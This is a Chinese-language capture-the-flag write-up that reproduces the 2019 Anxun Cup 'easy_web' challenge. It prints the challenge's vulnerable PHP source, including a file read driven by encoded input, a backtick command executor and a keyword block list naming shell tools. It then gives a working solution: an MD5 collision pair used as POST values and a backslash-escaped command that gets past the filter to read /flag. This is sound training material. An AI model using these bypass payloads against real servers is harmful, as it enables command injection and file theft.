ISOON-2019

 · 2019-12-3 · 次阅读


之前由于有事很遗憾没能参加安洵杯,看了师傅们的wp,来复现一波。题目在道格的上面就有,在BUUCTF上也有一部分。
1.[安洵杯 2019]easy_web
  这道题进去,先查看源码,会发现有base64,img等字样,然后是一大串红色编码的部分,回到页面,查看URL有两个参数,如:index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
其中cmd没有给出参数,但是img给了,由于源码提示有base64字样。我们尝试对img参数进行解码。发现进过两次解码后得到的是HEX的编码,进行HEX String解码,最后会发现是555.png,也就是说加载的555.png的代码会显示在页面源码中,那么同理index.php的源码是不是也可以呢。这里就是一个小的举一反三了,将index.php进行两次Base64加密然后进行hex String进行加密,在传值给img参数。最后再Ctrl+u查看源码,将一长串红色字体进行Base64解密就得到了index.php的源码了,源码如下:

//index.php
//.code
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

  接下来就是代码审计部分了看preg_match部分可以发现大部分指令都被过滤掉了,这里可以直接采用反斜杠‘\’绕过,反斜杠在LIUNX中起连接符的作用,所以ca\t%20/flag,命令好了还需要绕过md5,这里md5强碰撞必须寻找两个碰撞的字符串,我找了两个如下所示:

a=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%16%B4%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%DC%9F%95ab%D2%09P%A1%5D%12%3B%1ETZ%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29%EF%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%1E%7Ch%B0%96%A7%E5U%EBn1q%CA%D0%8B%C7%1BSP&b=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%164%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%5C%A0%95ab%D2%09P%A1%5D%12%3B%1ET%DA%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29o%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%9E%7Bh%B0%96%A7%E5U%EBn1q%CA%D0%0B%C7%1BSP

然后

cmd=ca\t%20/flag

这里讲一个用BP做的时候的一个坑,我在本地测试如下语句:

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo 'Yes';
    } else {
        echo ("md5 is funny ~");
    }

传值可以直接得到Yes,但我复现这道题的时候,怎么都不行,我仔细比对了我的本地包和复现抓的网页的包,发现网页包中缺少了如下内容:

Content-Type: application/x-www-form-urlencoded

也就是说,如果没有这个设置包里面的内容经过了url加密,我的POST传过去的urlencode方式的参数被解析不了,也得不到正确的Md5加密,导致判断绕不过,因此每一个细节都很重要,这关乎成败。
这里写一下它的作用,其是对传入数据包头中的参数进行编码,服务器要知道参数用符号&间隔,则通过这个编码将键值对的参数用&连接起来,如果有空格,则转换为+如果有特殊符号,转换为其ASCII HEX值。